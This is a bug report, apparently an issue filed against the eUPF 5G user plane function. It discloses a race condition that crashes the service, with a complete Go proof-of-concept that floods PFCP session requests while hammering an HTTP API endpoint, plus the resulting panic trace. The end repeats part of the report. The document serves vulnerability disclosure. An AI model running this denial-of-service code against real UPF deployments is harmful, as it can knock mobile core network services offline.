Describe the bug
UPF crashes due to concurrent map read and write operations when PFCP session establishment requests are processed simultaneously with HTTP API requests to /api/v1/pfcp_associations/full, leading to DoS.
To Reproduce
Steps to reproduce the behavior:
- Launch eUPF
sudo docker run -d --privileged --network host \
-v /sys/fs/bpf:/sys/fs/bpf \
-v /sys/kernel/debug:/sys/kernel/debug:ro \
-e UPF_INTERFACE_NAME=lo \
-e UPF_N3_ADDRESS=127.0.0.1 \
-e UPF_PFCP_ADDRESS="0.0.0.0:8805" \
-e UPF_PFCP_NODE_ID=127.0.0.1 \
-e UPF_API_ADDRESS="0.0.0.0:8080" \
-e UPF_METRICS_ADDRESS="0.0.0.0:9090" \
--name eupf ghcr.io/edgecomllc/eupf:main
- Start a new go project inside a new folder and create a
main.go and paste the code below:
mkdir poc && cd poc
go mod init poc
go get github.com/wmnsk/go-pfcp
- Create
main.go:
package main
import (
"context"
"fmt"
"log"
"math/rand"
"net"
"net/http"
"sync"
"time"
"github.com/wmnsk/go-pfcp/ie"
"github.com/wmnsk/go-pfcp/message"
)
var rnd = rand.New(rand.NewSource(time.Now().UnixNano()))
func main() {
duration := 30 * time.Second
pfcpAddr := "127.0.0.1:8805"
apiURL := "http://127.0.0.1:8080/api/v1/pfcp_associations/full"
ctx, cancel := context.WithTimeout(context.Background(), duration)
defer cancel()
var wg sync.WaitGroup
// PFCP writer: 1 goroutine
wg.Add(1)
go func() {
defer wg.Done()
stressPfcp(ctx, pfcpAddr)
}()
// HTTP readers: 10 goroutines for higher concurrency
for i := 0; i < 10; i++ {
wg.Add(1)
go func() {
defer wg.Done()
hammerEndpoint(ctx, apiURL)
}()
}
wg.Wait()
log.Println("Race PoC finished; check eUPF logs for concurrent map panic.")
}
func hammerEndpoint(ctx context.Context, url string) {
client := &http.Client{Timeout: 2 * time.Second}
for {
select {
case <-ctx.Done():
return
default:
}
resp, err := client.Get(url)
if err == nil {
resp.Body.Close()
}
}
}
func stressPfcp(ctx context.Context, pfcpAddr string) {
conn, err := dialPfcp(pfcpAddr)
if err != nil {
log.Printf("pfcp dial failed: %v", err)
return
}
defer conn.Close()
seq := uint32(1)
if _, err := sendAssociation(conn, seq); err != nil {
log.Printf("association setup failed: %v", err)
return
}
seq++
for {
select {
case <-ctx.Done():
return
default:
}
seid := rnd.Uint64() | 1
req := message.NewSessionEstablishmentRequest(0, 0,
seid, 1, 0,
ie.NewNodeID("", "", "race-smf"),
ie.NewFSEID(seid, net.ParseIP("127.0.0.1"), nil),
ie.NewCreateFAR(
ie.NewFARID(1),
ie.NewApplyAction(2), // FORW
ie.NewForwardingParameters(
ie.NewDestinationInterface(ie.DstInterfaceCore),
ie.NewOuterHeaderCreation(0x0100, rnd.Uint32(), "10.200.0.1", "", 0, 0, 0),
),
),
ie.NewCreatePDR(
ie.NewPDRID(1),
ie.NewPrecedence(255),
ie.NewPDI(
ie.NewSourceInterface(ie.SrcInterfaceAccess),
ie.NewUEIPAddress(2, fmt.Sprintf("10.60.%d.%d", rnd.Intn(200), rnd.Intn(200)), "", 0, 0),
),
ie.NewFARID(1),
),
)
if err := sendMessage(conn, req); err != nil {
log.Printf("session establishment failed: %v", err)
}
time.Sleep(1 * time.Millisecond)
}
}
func dialPfcp(pfcpAddr string) (*net.UDPConn, error) {
raddr, err := net.ResolveUDPAddr("udp", pfcpAddr)
if err != nil {
return nil, err
}
return net.DialUDP("udp", nil, raddr)
}
func sendAssociation(conn *net.UDPConn, seq uint32) (message.Message, error) {
msg := message.NewAssociationSetupRequest(seq,
ie.NewNodeID("", "", "poc-smf"),
ie.NewRecoveryTimeStamp(time.Now()),
ie.NewUPFunctionFeatures(0, 0, 0),
)
return sendAndReceive(conn, msg)
}
func sendMessage(conn *net.UDPConn, msg message.Message) error {
buf := make([]byte, msg.MarshalLen())
if err := msg.MarshalTo(buf); err != nil {
return err
}
_, err := conn.Write(buf)
return err
}
func sendAndReceive(conn *net.UDPConn, msg message.Message) (message.Message, error) {
if err := sendMessage(conn, msg); err != nil {
return nil, err
}
respBuf := make([]byte, 4096)
_ = conn.SetReadDeadline(time.Now().Add(2 * time.Second))
n, _, err := conn.ReadFromUDP(respBuf)
if err != nil {
return nil, err
}
return message.Parse(respBuf[:n])
}
- Run the PoC:
- Check eUPF logs for panic:
Expected behavior
The PFCP association handler and HTTP API handler must use proper synchronization mechanisms (e.g., mutexes, read-write locks, or sync.Map) when accessing shared map structures. Concurrent map read and write operations should be prevented, and the UPF should gracefully handle concurrent requests without crashing.
Logs
[90m2025/11/13 04:30:01[0m [32mINF[0m Saving FAR info to session: 367, {Action:2 OuterHeaderCreation:0 Teid:0 RemoteIP:0 TransportLevelMarking:0}
[90m2025/11/13 04:30:01[0m [32mINF[0m Session Establishment Request from 127.0.0.1 accepted.
[GIN] 2025/11/13 - 04:30:01 | 200 | 650.854µs | 127.0.0.1 | GET "/api/v1/pfcp_associations/full"
Error #01: json: unsupported type: chan uint32
[GIN] 2025/11/13 - 04:30:01 | 200 | 651.526µs | 127.0.0.1 | GET "/api/v1/pfcp_associations/full"
Error #01: json: unsupported type: chan uint32
[GIN] 2025/11/13 - 04:30:01 | 200 | 959.8µs | 127.0.0.1 | GET "/api/v1/pfcp_associations/full"
Error #01: json: unsupported type: chan uint32
[90m2025/11/13 04:30:01[0m [32mINF[0m Got Session Establishment Request from: 127.0.0.1.
[90m2025/11/13 04:30:01[0m [32mINF[0m
Session Establishment Request:
CreatePDR ID: 1
FAR ID: 976
Source Interface: 0
UE IPv4 Address: 10.60.0.2
CreateFAR ID: 976
Apply Action: [2]
Forwarding Parameters:
Outer Header Creation: &{OuterHeaderCreationDescription:1 TEID:0 IPv4Address:<nil> IPv6Address:<nil> PortNumber:0 CTag:0 STag:0}
fatal error: concurrent map iteration and map write
[90m2025/11/13 04:30:01[0m [32mINF[0m Saving FAR info to session: 976, {Action:2 OuterHeaderCreation:0 Teid:0 RemoteIP:0 TransportLevelMarking:0}
[90m2025/11/13 04:30:01[0m [32mINF[0m Session Establishment Request from 127.0.0.1 accepted.
goroutine 34 [running]:
reflect.mapiternext(0x4a98e9?)
/usr/local/go/src/runtime/map.go:1392 +0x13
reflect.(*MapIter).Next(0xc000312ee0?)
/usr/local/go/src/reflect/value.go:2005 +0x74
encoding/json.mapEncoder.encode({0xc0009e1750?}, 0xc001f826c0, {0xd59e20?, 0xc0000ae120?, 0xa?}, {0xb?, 0x0?})
/usr/local/go/src/encoding/json/encode.go:745 +0x334
encoding/json.structEncoder.encode({{{0xc00049f208, 0x7, 0x8}, 0xc0004ad1a0, 0xc0004ad200}}, 0xc001f826c0, {0xe1f140?, 0xc0000ae0f0?, 0xc0000ae0f0?}, {0x0, ...})
/usr/local/go/src/encoding/json/encode.go:704 +0x21e
encoding/json.ptrEncoder.encode({0xc000313260?}, 0xc001f826c0, {0xdfb0a0?, 0xc0000ae0f0?, 0xc00113c001?}, {0x48?, 0x33?})
/usr/local/go/src/encoding/json/encode.go:876 +0x23c
encoding/json.mapEncoder.encode({0xc001c4c000?}, 0xc001f826c0, {0xd59d60?, 0xc00032e780?, 0xd59d60?}, {0x20?, 0x81?})
/usr/local/go/src/encoding/json/encode.go:761 +0x4f7
encoding/json.(*encodeState).reflectValue(0xc001f826c0, {0xd59d60?, 0xc00032e780?, 0x150?}, {0x40?, 0xc5?})
/usr/local/go/src/encoding/json/encode.go:321 +0x73
encoding/json.(*encodeState).marshal(0xc0003135f8?, {0xd59d60?, 0xc00032e780?}, {0x7a?, 0xc0?})
/usr/local/go/src/encoding/json/encode.go:297 +0xc5
encoding/json.Marshal({0xd59d60, 0xc00032e780})
/usr/local/go/src/encoding/json/encode.go:163 +0xd0
encoding/json.MarshalIndent({0xd59d60?, 0xc00032e780?}, {0x0, 0x0}, {0xe6ef2d, 0x4})
/usr/local/go/src/encoding/json/encode.go:176 +0x47
github.com/gin-gonic/gin/render.IndentedJSON.Render({{0xd59d60?, 0xc00032e780?}}, {0x7d4de70dcfc8, 0xc001f1a200})
/go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/render/json.go:79 +0x83
github.com/gin-gonic/gin.(*Context).Render(0xc001f1a200, 0xc8, {0xfffc68, 0xc000858150})
/go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/context.go:926 +0xcd
github.com/gin-gonic/gin.(*Context).IndentedJSON(...)
/go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/context.go:946
github.com/edgecomllc/eupf/cmd/api/rest.(*ApiHandler).listPfcpAssociationsFull(...)
/app/cmd/api/rest/pfcp_associations.go:45
github.com/gin-gonic/gin.(*Context).Next(...)
/go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/context.go:174
github.com/gin-gonic/gin.CustomRecoveryWithWriter.func1(0xc001f1a200)
/go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/recovery.go:102 +0x7a
github.com/gin-gonic/gin.(*Context).Next(...)
/go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/context.go:174
github.com/gin-gonic/gin.LoggerWithConfig.func1(0xc001f1a200)
/go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/logger.go:240 +0xdd
github.com/gin-gonic/gin.(*Context).Next(...)
/go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/context.go:174
github.com/gin-gonic/gin.(*Engine).handleHTTPRequest(0xc0004b4000, 0xc001f1a200)
/go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/gin.go:620 +0x66e
github.com/gin-gonic/gin.(*Engine).ServeHTTP(0xc0004b4000, {0x1002b10, 0xc0000fa620}, 0xc000856480)
/go/pkg/mod/github.com/gin-gonic/gin@v1.9.1/gin.go:576 +0x1b2
net/http.serverHandler.ServeHTTP({0xc000121290?}, {0x1002b10?, 0xc0000fa620?}, 0x6?)
/usr/local/go/src/net/http/server.go:3142 +0x8e
net/http.(*conn).serve(0xc0000f82d0, {0x10056d0, 0xc00032f6b0})
/usr/local/go/src/net/http/server.go:2044 +0x5e8
created by net/http.(*Server).Serve in goroutine 62
/usr/local/go/src/net/http/server.go:3290 +0x4b4
goroutine 1 [select, 1 minutes]:
main.main()
/app/cmd/main.go:144 +0x1255
Environment (please complete the following information):
- OS: Ubuntu 24.04
- 5GC kind and version: None
- UPF version: a8d774a
Describe the bug
UPF crashes due to concurrent map read and write operations when PFCP session establishment requests are processed simultaneously with HTTP API requests to
/api/v1/pfcp_associations/full, leading to DoS.To Reproduce
Steps to reproduce the behavior:
main.goand paste the code below:main.go:Expected behavior
The PFCP association handler and HTTP API handler must use proper synchronization mechanisms (e.g., mutexes, read-write locks, or sync.Map) when accessing shared map structures. Concurrent map read and write operations should be prevented, and the UPF should gracefully handle concurrent requests without crashing.
Logs
Environment (please complete the following information):